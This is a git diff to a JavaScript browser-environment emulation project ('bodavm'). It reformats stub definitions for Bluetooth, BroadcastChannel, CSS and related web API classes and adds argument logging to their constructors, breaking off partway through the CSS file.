+bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "writeValue", { + configurable: true, + enumerable: true, + writable: true, + value: function writeValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "writeValue", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTServer.js b/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTServer.js index 9085516b..bd4575df 100644 --- a/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTServer.js +++ b/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTServer.js @@ -1,9 +1,65 @@ -// BluetoothRemoteGATTServer对象 -bodavm.memory.globalobj['BluetoothRemoteGATTServer'] = function BluetoothRemoteGATTServer(){if (!(this instanceof BluetoothRemoteGATTServer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTServer'], "BluetoothRemoteGATTServer"); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "device", {configurable:true, enumerable:true, get:function device (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "device_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "connected", {configurable:true, enumerable:true, get:function connected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "connected_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "connect", {configurable:true, enumerable:true, writable:true, value:function connect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "connect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "disconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "getPrimaryService", {configurable:true, enumerable:true, writable:true, value:function getPrimaryService (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "getPrimaryService", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "getPrimaryServices", {configurable:true, enumerable:true, writable:true, value:function getPrimaryServices (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "getPrimaryServices", arguments)}},'prototype'); +// BluetoothRemoteGATTServer对象 + +bodavm.memory.globalobj['BluetoothRemoteGATTServer'] = function BluetoothRemoteGATTServer() { + console.log_copy('BluetoothRemoteGATTServer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BluetoothRemoteGATTServer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTServer'], "BluetoothRemoteGATTServer"); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "device", { + configurable: true, + enumerable: true, + get: function device() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "device_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "connected", { + configurable: true, + enumerable: true, + get: function connected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "connected_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "connect", { + configurable: true, + enumerable: true, + writable: true, + value: function connect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "connect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "disconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function disconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "disconnect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "getPrimaryService", { + configurable: true, + enumerable: true, + writable: true, + value: function getPrimaryService() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "getPrimaryService", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "getPrimaryServices", { + configurable: true, + enumerable: true, + writable: true, + value: function getPrimaryServices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "getPrimaryServices", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTService.js b/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTService.js index 5503ca73..96017df8 100644 --- a/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTService.js +++ b/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTService.js @@ -1,8 +1,57 @@ -// BluetoothRemoteGATTService对象 -bodavm.memory.globalobj['BluetoothRemoteGATTService'] = function BluetoothRemoteGATTService(){if (!(this instanceof BluetoothRemoteGATTService)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTService'], "BluetoothRemoteGATTService"); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "device", {configurable:true, enumerable:true, get:function device (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "device_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "uuid", {configurable:true, enumerable:true, get:function uuid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "uuid_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "isPrimary", {configurable:true, enumerable:true, get:function isPrimary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "isPrimary_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "getCharacteristic", {configurable:true, enumerable:true, writable:true, value:function getCharacteristic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "getCharacteristic", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "getCharacteristics", {configurable:true, enumerable:true, writable:true, value:function getCharacteristics (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "getCharacteristics", arguments)}},'prototype'); +// BluetoothRemoteGATTService对象 + +bodavm.memory.globalobj['BluetoothRemoteGATTService'] = function BluetoothRemoteGATTService() { + console.log_copy('BluetoothRemoteGATTService 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BluetoothRemoteGATTService)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTService'], "BluetoothRemoteGATTService"); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "device", { + configurable: true, + enumerable: true, + get: function device() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "device_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "uuid", { + configurable: true, + enumerable: true, + get: function uuid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "uuid_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "isPrimary", { + configurable: true, + enumerable: true, + get: function isPrimary() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "isPrimary_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "getCharacteristic", { + configurable: true, + enumerable: true, + writable: true, + value: function getCharacteristic() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "getCharacteristic", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "getCharacteristics", { + configurable: true, + enumerable: true, + writable: true, + value: function getCharacteristics() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "getCharacteristics", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BluetoothUUID.js b/env_xbb_lastest_jsdom/env/BluetoothUUID.js index f7f9b6e6..e2fb8743 100644 --- a/env_xbb_lastest_jsdom/env/BluetoothUUID.js +++ b/env_xbb_lastest_jsdom/env/BluetoothUUID.js @@ -1,7 +1,49 @@ -// BluetoothUUID对象 -bodavm.memory.globalobj['BluetoothUUID'] = function BluetoothUUID(){if (!(this instanceof BluetoothUUID)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothUUID'], "BluetoothUUID"); -bodavm.toolsFunc.defineProperty('BluetoothUUID', "canonicalUUID", {configurable:true, enumerable:true, writable:true, value:function canonicalUUID (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "canonicalUUID", arguments)}}); -bodavm.toolsFunc.defineProperty('BluetoothUUID', "getCharacteristic", {configurable:true, enumerable:true, writable:true, value:function getCharacteristic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "getCharacteristic", arguments)}}); -bodavm.toolsFunc.defineProperty('BluetoothUUID', "getDescriptor", {configurable:true, enumerable:true, writable:true, value:function getDescriptor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "getDescriptor", arguments)}}); -bodavm.toolsFunc.defineProperty('BluetoothUUID', "getService", {configurable:true, enumerable:true, writable:true, value:function getService (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "getService", arguments)}}); +// BluetoothUUID对象 + +bodavm.memory.globalobj['BluetoothUUID'] = function BluetoothUUID() { + console.log_copy('BluetoothUUID 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BluetoothUUID)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothUUID'], "BluetoothUUID"); +bodavm.toolsFunc.defineProperty('BluetoothUUID', "canonicalUUID", { + configurable: true, + enumerable: true, + writable: true, + value: function canonicalUUID() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "canonicalUUID", arguments); + } +}); +bodavm.toolsFunc.defineProperty('BluetoothUUID', "getCharacteristic", { + configurable: true, + enumerable: true, + writable: true, + value: function getCharacteristic() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "getCharacteristic", arguments); + } +}); +bodavm.toolsFunc.defineProperty('BluetoothUUID', "getDescriptor", { + configurable: true, + enumerable: true, + writable: true, + value: function getDescriptor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "getDescriptor", arguments); + } +}); +bodavm.toolsFunc.defineProperty('BluetoothUUID', "getService", { + configurable: true, + enumerable: true, + writable: true, + value: function getService() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "getService", arguments); + } +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BroadcastChannel.js b/env_xbb_lastest_jsdom/env/BroadcastChannel.js index ad649249..eeeda289 100644 --- a/env_xbb_lastest_jsdom/env/BroadcastChannel.js +++ b/env_xbb_lastest_jsdom/env/BroadcastChannel.js @@ -1,10 +1,63 @@ -// BroadcastChannel对象 -bodavm.memory.globalobj['BroadcastChannel'] = function BroadcastChannel(){if (!(this instanceof BroadcastChannel)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BroadcastChannel': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BroadcastChannel'], "BroadcastChannel"); -bodavm.memory.globalobj['BroadcastChannel'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['BroadcastChannel'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('BroadcastChannel', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BroadcastChannel', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BroadcastChannel', "onmessageerror", {configurable:true, enumerable:true, get:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessageerror_get", arguments)}, set:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessageerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BroadcastChannel', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BroadcastChannel', "postMessage", {configurable:true, enumerable:true, writable:true, value:function postMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "postMessage", arguments)}},'prototype'); +// BroadcastChannel对象 + +bodavm.memory.globalobj['BroadcastChannel'] = function BroadcastChannel() { + console.log_copy('BroadcastChannel 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BroadcastChannel)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BroadcastChannel': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BroadcastChannel'], "BroadcastChannel"); +bodavm.memory.globalobj['BroadcastChannel'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['BroadcastChannel'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('BroadcastChannel', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BroadcastChannel', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BroadcastChannel', "onmessageerror", { + configurable: true, + enumerable: true, + get: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessageerror_get", arguments); + }, + set: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessageerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BroadcastChannel', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BroadcastChannel', "postMessage", { + configurable: true, + enumerable: true, + writable: true, + value: function postMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "postMessage", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BrowserCaptureMediaStreamTrack.js b/env_xbb_lastest_jsdom/env/BrowserCaptureMediaStreamTrack.js index c3d731c9..6e8ce175 100644 --- a/env_xbb_lastest_jsdom/env/BrowserCaptureMediaStreamTrack.js +++ b/env_xbb_lastest_jsdom/env/BrowserCaptureMediaStreamTrack.js @@ -1,6 +1,27 @@ -// BrowserCaptureMediaStreamTrack对象 -bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'] = function BrowserCaptureMediaStreamTrack(){if (!(this instanceof BrowserCaptureMediaStreamTrack)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'], "BrowserCaptureMediaStreamTrack"); -bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'].prototype.__proto__=bodavm.memory.globalobj['MediaStreamTrack'].prototype; -bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'].__proto__=bodavm.memory.globalobj['MediaStreamTrack']; -bodavm.toolsFunc.defineProperty('BrowserCaptureMediaStreamTrack', "cropTo", {configurable:true, enumerable:true, writable:true, value:function cropTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'].prototype, "BrowserCaptureMediaStreamTrack", "cropTo", arguments)}},'prototype'); +// BrowserCaptureMediaStreamTrack对象 + +bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'] = function BrowserCaptureMediaStreamTrack() { + console.log_copy('BrowserCaptureMediaStreamTrack 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BrowserCaptureMediaStreamTrack)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'], "BrowserCaptureMediaStreamTrack"); +bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'].prototype.__proto__ = bodavm.memory.globalobj['MediaStreamTrack'].prototype; +bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'].__proto__ = bodavm.memory.globalobj['MediaStreamTrack']; +bodavm.toolsFunc.defineProperty('BrowserCaptureMediaStreamTrack', "cropTo", { + configurable: true, + enumerable: true, + writable: true, + value: function cropTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'].prototype, "BrowserCaptureMediaStreamTrack", "cropTo", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ByteLengthQueuingStrategy.js b/env_xbb_lastest_jsdom/env/ByteLengthQueuingStrategy.js index 2fad756b..72b03d19 100644 --- a/env_xbb_lastest_jsdom/env/ByteLengthQueuingStrategy.js +++ b/env_xbb_lastest_jsdom/env/ByteLengthQueuingStrategy.js @@ -1,5 +1,33 @@ -// ByteLengthQueuingStrategy对象 -bodavm.memory.globalobj['ByteLengthQueuingStrategy'] = function ByteLengthQueuingStrategy(){if (!(this instanceof ByteLengthQueuingStrategy)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ByteLengthQueuingStrategy': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ByteLengthQueuingStrategy'], "ByteLengthQueuingStrategy"); -bodavm.toolsFunc.defineProperty('ByteLengthQueuingStrategy', "highWaterMark", {configurable:true, enumerable:true, get:function highWaterMark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ByteLengthQueuingStrategy'].prototype, "ByteLengthQueuingStrategy", "highWaterMark_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ByteLengthQueuingStrategy', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ByteLengthQueuingStrategy'].prototype, "ByteLengthQueuingStrategy", "size_get", arguments)}, set:undefined},'prototype'); +// ByteLengthQueuingStrategy对象 + +bodavm.memory.globalobj['ByteLengthQueuingStrategy'] = function ByteLengthQueuingStrategy() { + console.log_copy('ByteLengthQueuingStrategy 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ByteLengthQueuingStrategy)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ByteLengthQueuingStrategy': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ByteLengthQueuingStrategy'], "ByteLengthQueuingStrategy"); +bodavm.toolsFunc.defineProperty('ByteLengthQueuingStrategy', "highWaterMark", { + configurable: true, + enumerable: true, + get: function highWaterMark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ByteLengthQueuingStrategy'].prototype, "ByteLengthQueuingStrategy", "highWaterMark_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ByteLengthQueuingStrategy', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ByteLengthQueuingStrategy'].prototype, "ByteLengthQueuingStrategy", "size_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CDATASection.js b/env_xbb_lastest_jsdom/env/CDATASection.js index 9881d664..166c65c0 100644 --- a/env_xbb_lastest_jsdom/env/CDATASection.js +++ b/env_xbb_lastest_jsdom/env/CDATASection.js @@ -1,5 +1,19 @@ -// CDATASection对象 -bodavm.memory.globalobj['CDATASection'] = function CDATASection(){if (!(this instanceof CDATASection)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CDATASection'], "CDATASection"); -bodavm.memory.globalobj['CDATASection'].prototype.__proto__=bodavm.memory.globalobj['Text'].prototype; -bodavm.memory.globalobj['CDATASection'].__proto__=bodavm.memory.globalobj['Text']; +// CDATASection对象 + +bodavm.memory.globalobj['CDATASection'] = function CDATASection() { + console.log_copy('CDATASection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CDATASection)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CDATASection'], "CDATASection"); +bodavm.memory.globalobj['CDATASection'].prototype.__proto__ = bodavm.memory.globalobj['Text'].prototype; +bodavm.memory.globalobj['CDATASection'].__proto__ = bodavm.memory.globalobj['Text']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSS.js b/env_xbb_lastest_jsdom/env/CSS.js index 2d681226..40337778 100644 --- a/env_xbb_lastest_jsdom/env/CSS.js +++ b/env_xbb_lastest_jsdom/env/CSS.js @@ -1,126 +1,486 @@ // CSS对象 bodavm.memory.globalobj['CSS'] = { - _boisinit:bodavm.config.isinit - } - -bodavm.toolsFunc.defineProperty('CSS', "Hz", {configurable:true, enumerable:true, writable:true, value:function Hz (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "Hz", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "Q", {configurable:true, enumerable:true, writable:true, value:function Q (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "Q", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "ch", {configurable:true, enumerable:true, writable:true, value:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ch", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "cm", {configurable:true, enumerable:true, writable:true, value:function cm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cm", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "cqb", {configurable:true, enumerable:true, writable:true, value:function cqb (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqb", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "cqh", {configurable:true, enumerable:true, writable:true, value:function cqh (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqh", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "cqi", {configurable:true, enumerable:true, writable:true, value:function cqi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqi", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "cqmax", {configurable:true, enumerable:true, writable:true, value:function cqmax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqmax", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "cqmin", {configurable:true, enumerable:true, writable:true, value:function cqmin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqmin", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "cqw", {configurable:true, enumerable:true, writable:true, value:function cqw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqw", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "deg", {configurable:true, enumerable:true, writable:true, value:function deg (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "deg", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dpcm", {configurable:true, enumerable:true, writable:true, value:function dpcm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dpcm", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dpi", {configurable:true, enumerable:true, writable:true, value:function dpi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dpi", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dppx", {configurable:true, enumerable:true, writable:true, value:function dppx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dppx", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "em", {configurable:true, enumerable:true, writable:true, value:function em (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "em", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "escape", {configurable:true, enumerable:true, writable:true, value:function escape (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "escape", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "ex", {configurable:true, enumerable:true, writable:true, value:function ex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ex", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "fr", {configurable:true, enumerable:true, writable:true, value:function fr (){return 